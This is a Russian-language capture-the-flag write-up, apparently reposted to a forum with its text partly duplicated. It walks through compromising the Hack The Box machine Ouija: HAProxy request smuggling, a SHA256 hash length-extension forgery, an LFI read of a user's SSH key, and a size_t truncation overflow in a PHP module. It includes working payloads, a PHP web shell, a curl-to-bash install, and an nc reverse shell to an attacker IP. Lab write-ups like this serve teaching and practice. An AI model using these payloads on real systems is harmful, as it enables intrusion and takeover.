stihl не предоставил(а) никакой дополнительной информации.
Центральной частью этого райтапа будет повышение привилегий в Linux через модуль PHP — мы проэксплуатируем бинарную уязвимость целочисленного переполнения в нем. На пути к этому используем баг HTTP request smuggling в Haproxy и через LFI прочитаем SSH-ключ пользователя.
Наша цель — получение прав суперпользователя на машине Ouija с учебной площадки Hack The Box. Уровень ее сложности — «сложный».
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
Главная страница сайта ouija.htb
Главная страница сайта ouija.htb:3000
Burp History
Добавляем новый домен в /etc/hosts и просматриваем доступные неавторизованному пользователю репозитории.
Главная страница сайта gitea.ouija.htb
Доступен только один репозиторий, описание которого раскрывает некоторые используемые технологии. Отдельно отмечаем прокси‑сервер Haproxy.
Содержимое репозитория
Так как ничего интересного в самом репозитории найти не удалось, приступим к сканированию.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске используем следующие параметры:
Результат сканирования файлов с помощью feroxbuster
Страница server-status содержит логи запросов. По логам снова делаем вывод о проксировании на порт 8080.
Содержимое файла server-status
Аналогично сканируем и каталоги на порте 3000, где работает API NodeJS.
Результат сканирования файлов с помощью feroxbuster
Найденный страницы сообщают либо об ошибке, либо о том, что нужны дополнительные заголовки HTTP.
Содержимое страницы /register
Содержимое страницы /users
То, что мы нашли новый поддомен, указывает на то, что их может быть и больше двух. Так что давай расчехлим сканер fuff и запустим со следующими параметрами:
Результат сканирования поддоменов
Все поддомены, содержащие подстроку dev, возвращают код 403. Это наводит на мысль о том, что используется фильтр.
Поиск эксплоитов Google
В Для просмотра ссылки Войдиили Зарегистрируйся находим Для просмотра ссылки Войди или Зарегистрируйся.
PoC запрос
Выполняем подобный запрос, но в качестве целевого адреса указываем сайт на домене dev.
Запрос на сервер
И в ответе получаем две страницы сразу: ouija.htb и dev.ouija.htb. На второй — два файла. Загружаем их запросами вроде следующего:
Файл app.js — это исходный код приложения, которое работает на порте 3000. API /file/get представляет интерес (строки 58-76), хотя и содержит фильтр, который должен предотвратить локальное включение файлов (LFI). Наша главная проблема — в аутентификации, которую нужно пройти, не зная учетные данные.
Для этого нужно предоставить два заголовка: ihash и identification (строки 28-33). Затем идентификатор и хеш проходят проверку, где в заголовке identification передается закодированное сначала в HEX, а затем в Вase64 сообщение, а в заголовке ihash — хеш SHA256 от этого сообщения (строки 10-21). Проверка будет пройдена, если в сообщении будет строка ::admin:True.
Содержимое файла app.js
Также интересен и второй найденный файл, где есть проверочное сообщение bot1:bot плюс какая‑то соль и его хеш этого сообщения (строки 5-7). В строке 8 создается ссылка .config/bin/process_informations, ведущая на каталог /proc.
Содержимое файла init.sh
Также сервис dev уязвим к LFI, но, судя по списку пользователей в файле /etc/passwd, сервис работает в изолированной среде.
Содержимое файла /etc/passwd
Пару слов о том, как это работает. Пусть у нас есть известное сообщение M, известный хеш H, и неизвестная соль S, которая должна присутствовать в сообщении. Мы хотим создать новое сообщение M', которое также будет содержать неизвестную для нас S, но при этом получить валидный хеш H'.
Чтобы автоматизировать перечисленыне действия можно использовать Для просмотра ссылки Войдиили Зарегистрируйся. Проблемы с его компиляцией можно решить, используя Для просмотра ссылки Войди или Зарегистрируйся.
Сборка приложения
А теперь получим варианты «удлиненного хеша». При запуске указываем известное сообщение (-d), его хеш (-s), строку которую нужно добавить к сообщению (-a), алгоритм хеширования (-f) и рамки длины соли (от --secret-min до --secret-max).
Результат генерации хешей
Вариантов очень много, и мы при этом не знаем длину соли. Поэтому нам нужно перебрать все варианты, используя Burp Intruder.
Burp Intruder — вкладка Position
Burp Intruder — вкладка Payload
Результат атаки
Сортируем таблицу с результатами по размеру ответа и находим тот самый, который отличается от остальных. Таким образом находим валидную пару из сообщения и хеша. Возвращаемся к идее LFI через ссылку .config/bin/process_informations на /proc и получаем содержимое файла /proc/self/cmdline.
Содержимое файла cmdline
Нам удалось получить командную строку процесса, поэтому переходим к эксплуатации LFI.
Содержимое файла environ
Так мы получаем какой‑то пароль, но он никуда не подошел. Также узнаем, что в данный момент мы работаем на основном хосте от имени пользователя leila. А значит, попробуем прочитать приватный SSH-ключ пользователя.
Приватный SSH ключ пользователя
Сохраняем ключ в файл, назначаем необходимые права на него (chmod 0600 id_rsa) и подключаемся к серверу.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Получив информацию о системе, проходимся по ней, отмечая самое интересное.
В списке активных портов находим 9999, который ждет подключения с локального хоста.
Список активных портов
Среди корневых каталогов присутствует необычный — /development.
Созданные в корне каталоги
Смотрим содержимое и понимаем, что это исходники какого‑то сайта.
Содержимое каталога /development
А обратившись через браузер к порту 9999, понимаем, что это тот самый сайт из каталога /development, так как совпадает путь к картинке‑фону.
Ответ сервера
На сайте ничего особенного кроме того, что используется функция say_lverifier, которая куда‑то передает логин и пароль.
Содержимое файл index.php
Кода этой функции в найденном каталоге нет, поэтому поищем ее серди библиотек PHP в системе.
Поиск функции среди библиотек php
Находим библиотеку lverifier.so, в которой упоминается подстрока say_lverifier. Скачиваем файл с библиотекой для анализа.
Псевдокод функции say_lverifier
Здесь вызывается другая функция validating_userinput, куда передаются логин и пароль. Внутри функции validating_userinput определен статический буфер размером 800 байт (строка 13). Если имя пользователя меньше или равно 800, то оно копируется в буфер.
Псевдокод функции validating_userinput
Затем данные из буфера передаются в функцию event_recorder (строки 71-78).
Псевдокод функции validating_userinput (продолжение)
Внутри функции event_recorder происходит запись данных в файл. Путь к файлу и данные передаются как параметры функции.
Псевдокод функции event_recorder
Первым делом нам нужно перейти к отладке, и выяснить, существует ли переполнение. Для этого запустим виртуальную машину и установим PHP той же версии, что и на удаленном сервере.
Теперь нужно добавить разместить скачанный модуль. Сначала даем ему право на выполнение, а затем размещаем в каталоге с библиотеками PHP.
Осталось прописать библиотеку в файле /etc/php/8.2/mods-available/lverifier.ini.
А также нужно разрешить динамическую загрузку библиотек, для чего меняем настройку в файле /etc/php/8.2/cli/php.ini.
Теперь запускаем PHP в интерактивном консольном режиме, загружаем библиотеку и вызываем функцию say_lverifier, куда вместо имени пользователя передаем строку длинной 10000.
Однако никакой ошибки переполнения нет, поэтому увеличим строку до 100000 символов. Это приведет к ошибке и падению программы.
Проверка переполнения буфера
То есть когда мы передаем в функцию strlen строку длинной 100000 символов, функция, также возвращающая переменную size_t, на самом деле вернет 4 байта, так как именно столько нужно для хранения числа 100000 (0x186a0). Получается, что в этом примере size_t будет восприниматься как 4-байтный тип.
Но затем в момент сравнения с числом 800, для хранения которого нужно 2 байта, переменная типа size_t будет приведена к двухбайтному байтному типу. Таким образом число 800 (0x320) будет сравниваться не со значением 100000 (0x186a0), которое хранит переменная size_t, а с усеченным до двух байт числом 34464 (0x86a0).
Получается, что мы можем передать в буфер строку больше 800 символов и пройти проверку за счет усечения. К примеру, можно передать строку длиной 65535 + 5 символов (0x10004), тогда число 800 будет сравниваться с усеченным числом 4, что удовлетворяет условию. Проверим это под отладчиком.
Первым делом установим расширение Для просмотра ссылки Войдиили Зарегистрируйся для отладчика GDB.
Затем запускаем PHP через GDB, устанавливаем точку останова на функцию event_recorder и выполняем процесс.
Теперь нужно сгенерировать последовательность де Брёйна длинной 65540. Она помогает быстро вычислять размеры используемых буферов.
Передаем сгенерированную строку в качестве имени пользователя, вызываем функцию say_lverifier и ловим брейкпоинт на функции event_recorder.
Запуск PHP
Информация о точке останова
Программа останавливается, а нам отображаются параметры функции event_recorder. Теперь в последовательности де Брёйна нужно определить смещение строки, которое попадает в аргументы функции. Для этого в pwn cyclic нужно указать параметр -l.
Определение смещения
Выходит, имя файла для записи лога нужно указать со смещением 128, но в файл будут записаны первые 800 символов. То есть имя файла попадает в сам файл. Это значит, что нагрузка должна быть записана в имени файла следующим образом:
Чтобы решить проблему с путем к файлу, в качестве дополнения можно использовать символ /. В таком случае мы получим файл /root/file.txt с содержимым /tmp/payload/../../root/file.txt. Только необходимо учесть, что каталог /tmp/payload существует. Проверим это предположение, для чего соберем нагрузку с помощью Python.
Создание нагрузки
Теперь удостоверимся, что файла /root/test_filename.txt не существует, запускаем интерпретатор PHP и передаем сгенерированную нагрузку в качестве имени пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
Эксплуатация уязвимости
После выполнения нагрузки в каталоге root появился указанный файл с предсказуемым содержимым. На этом шаге можно выйти из виртуальной машины и перейти на удаленный сервер.
Теперь нужно выбрать такой шелл PHP, чтобы его можно было использовать в качестве промежуточного каталога при указании пути файла. Первый шелл из Для просмотра ссылки Войдиили Зарегистрируйся вполне сойдет, осталось создать такой каталог.
Создание промежуточного каталога
Так как сервис работает на локальном порте 9999, трафик нужно туннелировать.
В результате этой команды весь трафик, который мы отправим на локальный порт 9999, будет туннелирован на порт 9999 указанного хоста (в данном случаем 127.0.0.1) через SSH-хост. Теперь можно открыть сайт, и отловить запрос авторизации в Burp Proxy.
Страница авторизации сервиса
Использованным ранее кодом генерируем нагрузку, которая запишет выбранный PHP-шелл в файл /development/server-management_system_id_0/ralf_shell.php.
Затем используем полученную нагрузку в качестве имени пользователя.
Запрос в Burp Repeater
Когда нагрузка записана, пробуем обратиться к веб‑шеллу и выполнить команду id.
Результат выполнения команды
Команда успешно выполнена от имени привилегированного пользователя, а значит, можно запустит реверс‑шелл и получить сессию в pwncat-cs.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Ouija с учебной площадки Hack The Box. Уровень ее сложности — «сложный».
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.244 ouija.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел три открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52;
- 3000 — приложение Node.js.


Главная страница сайта ouija.htb:3000
Точка входа
При просмотре истории запросов в Burp History можно увидеть запрос к домену gitea.ouija.htb.
Добавляем новый домен в /etc/hosts и просматриваем доступные неавторизованному пользователю репозитории.
10.10.11.244 ouija.htb gitea.ouija.htb

Доступен только один репозиторий, описание которого раскрывает некоторые используемые технологии. Отдельно отмечаем прокси‑сервер Haproxy.

Так как ничего интересного в самом репозитории найти не удалось, приступим к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске используем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u [URL]http://ouija.htb/[/URL] -t 128 -d 1 -w files_interesting.txt

Страница server-status содержит логи запросов. По логам снова делаем вывод о проксировании на порт 8080.

Аналогично сканируем и каталоги на порте 3000, где работает API NodeJS.
feroxbuster -u [URL]http://ouija.htb:3000/[/URL] -t 128 -d 1 -w directory_2.3_medium_lowercase.txt

Найденный страницы сообщают либо об ошибке, либо о том, что нужны дополнительные заголовки HTTP.


То, что мы нашли новый поддомен, указывает на то, что их может быть и больше двух. Так что давай расчехлим сканер fuff и запустим со следующими параметрами:
- -u — URL;
- -w — словарь;
- -t — количество потоков;
- -H — HTTP-заголовок;
- -fs — фильтр по размеру ответа.
ffuf -u "[URL]http://ouija.htb[/URL]" -H 'Host: FUZZ.ouija.htb' -t 128 -w subdomains-top1million-110000.txt -fs 10671

Все поддомены, содержащие подстроку dev, возвращают код 403. Это наводит на мысль о том, что используется фильтр.
Точка опоры
Haproxy — HTTP Request Smuggling
Мы знаем о том, что используется Haproxy, а это значит, что для него можно поискать готовые эксплоиты. Проще всего это делать в Google.
В Для просмотра ссылки Войди

Выполняем подобный запрос, но в качестве целевого адреса указываем сайт на домене dev.
Код:
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 38
GET http://dev.ouija.htb/ HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb

И в ответе получаем две страницы сразу: ouija.htb и dev.ouija.htb. На второй — два файла. Загружаем их запросами вроде следующего:
Код:
POST /index.html HTTP/1.1
Host: ouija.htb
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 60
GET http://dev.ouija.htb/editor.php?file=app.js HTTP/1.1
h:GET / HTTP/1.1
Host: ouija.htb
Файл app.js — это исходный код приложения, которое работает на порте 3000. API /file/get представляет интерес (строки 58-76), хотя и содержит фильтр, который должен предотвратить локальное включение файлов (LFI). Наша главная проблема — в аутентификации, которую нужно пройти, не зная учетные данные.
Для этого нужно предоставить два заголовка: ihash и identification (строки 28-33). Затем идентификатор и хеш проходят проверку, где в заголовке identification передается закодированное сначала в HEX, а затем в Вase64 сообщение, а в заголовке ihash — хеш SHA256 от этого сообщения (строки 10-21). Проверка будет пройдена, если в сообщении будет строка ::admin:True.

Также интересен и второй найденный файл, где есть проверочное сообщение bot1:bot плюс какая‑то соль и его хеш этого сообщения (строки 5-7). В строке 8 создается ссылка .config/bin/process_informations, ведущая на каталог /proc.

Также сервис dev уязвим к LFI, но, судя по списку пользователей в файле /etc/passwd, сервис работает в изолированной среде.

Атака через удаление сообщения
Такая атака может быть эффективной, когда у нас есть хеш SHA256 и часть исходного сообщения. Основная идея заключается в «продлении» исходного сообщения таким образом, чтобы новое сообщение и его хеш соответствовали требованиям проверки подписи.Пару слов о том, как это работает. Пусть у нас есть известное сообщение M, известный хеш H, и неизвестная соль S, которая должна присутствовать в сообщении. Мы хотим создать новое сообщение M', которое также будет содержать неизвестную для нас S, но при этом получить валидный хеш H'.
- Вычисляем H' для M, используя алгоритм SHA256.
- Создаем поддельное сообщение M_add, содержащее дополнительную информацию, которая будет добавлена к оригинальному сообщению. Теперь M' = M || M_add.
- Вычисляем H' для M', используя алгоритм SHA256.
- Создаем подделанное сообщение M'', добавляя к M' поддельное сообщение S_add так, чтобы получить окончательное M'' = M' || S_add.
Чтобы автоматизировать перечисленыне действия можно использовать Для просмотра ссылки Войди

А теперь получим варианты «удлиненного хеша». При запуске указываем известное сообщение (-d), его хеш (-s), строку которую нужно добавить к сообщению (-a), алгоритм хеширования (-f) и рамки длины соли (от --secret-min до --secret-max).
./hash_extender -d 'bot1:bot' -s 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 -a '::admin:True' -f sha256 --secret-min=8 --secret-max=64

Вариантов очень много, и мы при этом не знаем длину соли. Поэтому нам нужно перебрать все варианты, используя Burp Intruder.

Burp Intruder — вкладка Position


Сортируем таблицу с результатами по размеру ответа и находим тот самый, который отличается от остальных. Таким образом находим валидную пару из сообщения и хеша. Возвращаемся к идее LFI через ссылку .config/bin/process_informations на /proc и получаем содержимое файла /proc/self/cmdline.
GET /file/get/?file=.config/bin/process_informations/self/cmdline HTTP/1.1

Нам удалось получить командную строку процесса, поэтому переходим к эксплуатации LFI.
LFI
Второй интересный для нас файл — это /proc/self/environ. Здесь содержатся переменные среды текущего процесса.GET /file/get/?file=.config/bin/process_informations/self/environ HTTP/1.1

Так мы получаем какой‑то пароль, но он никуда не подошел. Также узнаем, что в данный момент мы работаем на основном хосте от имени пользователя leila. А значит, попробуем прочитать приватный SSH-ключ пользователя.
GET /file/get/?file=.config/bin/process_informations/self/root/home/leila/.ssh/id_rsa HTTP/1.1

Сохраняем ключ в файл, назначаем необходимые права на него (chmod 0600 id_rsa) и подключаемся к серверу.
ssh -i id_rsa
leila@ouija.htb

Локальное повышение привилегий
Сбор информации
Для сбора информации я буду использовать скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в случае с Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Получив информацию о системе, проходимся по ней, отмечая самое интересное.
В списке активных портов находим 9999, который ждет подключения с локального хоста.

Среди корневых каталогов присутствует необычный — /development.

Смотрим содержимое и понимаем, что это исходники какого‑то сайта.

А обратившись через браузер к порту 9999, понимаем, что это тот самый сайт из каталога /development, так как совпадает путь к картинке‑фону.

На сайте ничего особенного кроме того, что используется функция say_lverifier, которая куда‑то передает логин и пароль.

Кода этой функции в найденном каталоге нет, поэтому поищем ее серди библиотек PHP в системе.
Код:
cd /usr/lib/php
grep -iR say_lverifier ./

Находим библиотеку lverifier.so, в которой упоминается подстрока say_lverifier. Скачиваем файл с библиотекой для анализа.
Анализ библиотеки
Открываем найденную либу в любом дизассемблере с функцией декомпилятора. Я для этого использую IDA Pro. Первым делом нужно найти известную нам функцию say_lverifier.
Здесь вызывается другая функция validating_userinput, куда передаются логин и пароль. Внутри функции validating_userinput определен статический буфер размером 800 байт (строка 13). Если имя пользователя меньше или равно 800, то оно копируется в буфер.

Затем данные из буфера передаются в функцию event_recorder (строки 71-78).

Внутри функции event_recorder происходит запись данных в файл. Путь к файлу и данные передаются как параметры функции.

Первым делом нам нужно перейти к отладке, и выяснить, существует ли переполнение. Для этого запустим виртуальную машину и установим PHP той же версии, что и на удаленном сервере.
Код:
sudo add-apt-repository ppandrej/php
sudo apt update
sudo apt install php8.2
Теперь нужно добавить разместить скачанный модуль. Сначала даем ему право на выполнение, а затем размещаем в каталоге с библиотеками PHP.
Код:
sudo chmod +x lverifier.so
sudo cp lverifier.so /usr/lib/php/20220829/
Осталось прописать библиотеку в файле /etc/php/8.2/mods-available/lverifier.ini.
extention=lverifier.so
А также нужно разрешить динамическую загрузку библиотек, для чего меняем настройку в файле /etc/php/8.2/cli/php.ini.
enable_dl = On
Теперь запускаем PHP в интерактивном консольном режиме, загружаем библиотеку и вызываем функцию say_lverifier, куда вместо имени пользователя передаем строку длинной 10000.
Код:
php -a
dl('lverifier.so');
$user = str_repeat('A', 10000);
say_lverifier($user, 'pass');
Однако никакой ошибки переполнения нет, поэтому увеличим строку до 100000 символов. Это приведет к ошибке и падению программы.

SIZE_T переполнение
Здесь есть важный момент, требующий побъяснения. Переменная, куда сохраняется длина имени пользователя, имеет тип size_t. size_t — беззнаковый целый тип, предназначенный для представления размера любого объекта в памяти (включая массивы) в конкретной реализации, причем этот тип подвержен автоприведению.То есть когда мы передаем в функцию strlen строку длинной 100000 символов, функция, также возвращающая переменную size_t, на самом деле вернет 4 байта, так как именно столько нужно для хранения числа 100000 (0x186a0). Получается, что в этом примере size_t будет восприниматься как 4-байтный тип.
Но затем в момент сравнения с числом 800, для хранения которого нужно 2 байта, переменная типа size_t будет приведена к двухбайтному байтному типу. Таким образом число 800 (0x320) будет сравниваться не со значением 100000 (0x186a0), которое хранит переменная size_t, а с усеченным до двух байт числом 34464 (0x86a0).
Получается, что мы можем передать в буфер строку больше 800 символов и пройти проверку за счет усечения. К примеру, можно передать строку длиной 65535 + 5 символов (0x10004), тогда число 800 будет сравниваться с усеченным числом 4, что удовлетворяет условию. Проверим это под отладчиком.
Первым делом установим расширение Для просмотра ссылки Войди
bash -c "$(curl -fsSL [URL]https://gef.blah.cat/sh[/URL])"
Затем запускаем PHP через GDB, устанавливаем точку останова на функцию event_recorder и выполняем процесс.
Код:
b event_recorder [y]
run -a
dl('lverifier.so');
Теперь нужно сгенерировать последовательность де Брёйна длинной 65540. Она помогает быстро вычислять размеры используемых буферов.
Код:
sudo pip3 install pwn
pwn cyclic 65540
Передаем сгенерированную строку в качестве имени пользователя, вызываем функцию say_lverifier и ловим брейкпоинт на функции event_recorder.
Код:
$user = "aaaabaaa...";
say_lverifier($user, 'pass');


Программа останавливается, а нам отображаются параметры функции event_recorder. Теперь в последовательности де Брёйна нужно определить смещение строки, которое попадает в аргументы функции. Для этого в pwn cyclic нужно указать параметр -l.

Выходит, имя файла для записи лога нужно указать со смещением 128, но в файл будут записаны первые 800 символов. То есть имя файла попадает в сам файл. Это значит, что нагрузка должна быть записана в имени файла следующим образом:
/tmp/[I]payload[/I]/../../root/file.txt
Чтобы решить проблему с путем к файлу, в качестве дополнения можно использовать символ /. В таком случае мы получим файл /root/file.txt с содержимым /tmp/payload/../../root/file.txt. Только необходимо учесть, что каталог /tmp/payload существует. Проверим это предположение, для чего соберем нагрузку с помощью Python.
Код:
exp = "/tmp/test_file_content/../../root/test_filename.txt"
payload = "/" * (800 - len(exp)) + exp
payload = payload + "A" * (65540 - len(payload))
payload

Теперь удостоверимся, что файла /root/test_filename.txt не существует, запускаем интерпретатор PHP и передаем сгенерированную нагрузку в качестве имени пользователя.
Для просмотра ссылки Войди

После выполнения нагрузки в каталоге root появился указанный файл с предсказуемым содержимым. На этом шаге можно выйти из виртуальной машины и перейти на удаленный сервер.
Теперь нужно выбрать такой шелл PHP, чтобы его можно было использовать в качестве промежуточного каталога при указании пути файла. Первый шелл из Для просмотра ссылки Войди
mkdir '/tmp/<?=$_GET[0]?>'

Так как сервис работает на локальном порте 9999, трафик нужно туннелировать.
ssh -i id_rsa [EMAIL]leila@ouija.htb[/EMAIL] -L 9999:127.0.0.1:9999
В результате этой команды весь трафик, который мы отправим на локальный порт 9999, будет туннелирован на порт 9999 указанного хоста (в данном случаем 127.0.0.1) через SSH-хост. Теперь можно открыть сайт, и отловить запрос авторизации в Burp Proxy.

Использованным ранее кодом генерируем нагрузку, которая запишет выбранный PHP-шелл в файл /development/server-management_system_id_0/ralf_shell.php.
Код:
exp = "/tmp/<?=$_GET[0]?>/../../development/server-management_system_id_0/ralf_shell.php"
payload = "/" * (800 - len(exp)) + exp
payload + "A" * (65540 - len(payload))
payload
Затем используем полученную нагрузку в качестве имени пользователя.

Когда нагрузка записана, пробуем обратиться к веб‑шеллу и выполнить команду id.
curl '[URL]http://127.0.0.1:9999/ralf_shell.php?0=id[/URL]'

Команда успешно выполнена от имени привилегированного пользователя, а значит, можно запустит реверс‑шелл и получить сессию в pwncat-cs.
curl '[URL='http://127.0.0.1:9999/ralf_shell.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.42%204321%20%3E%2Ftmp%2Ff']http://127.0.0.1:9999/ralf_shell.php?0=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.42 4321 >/tmp/f[/URL]'

Машина захвачена!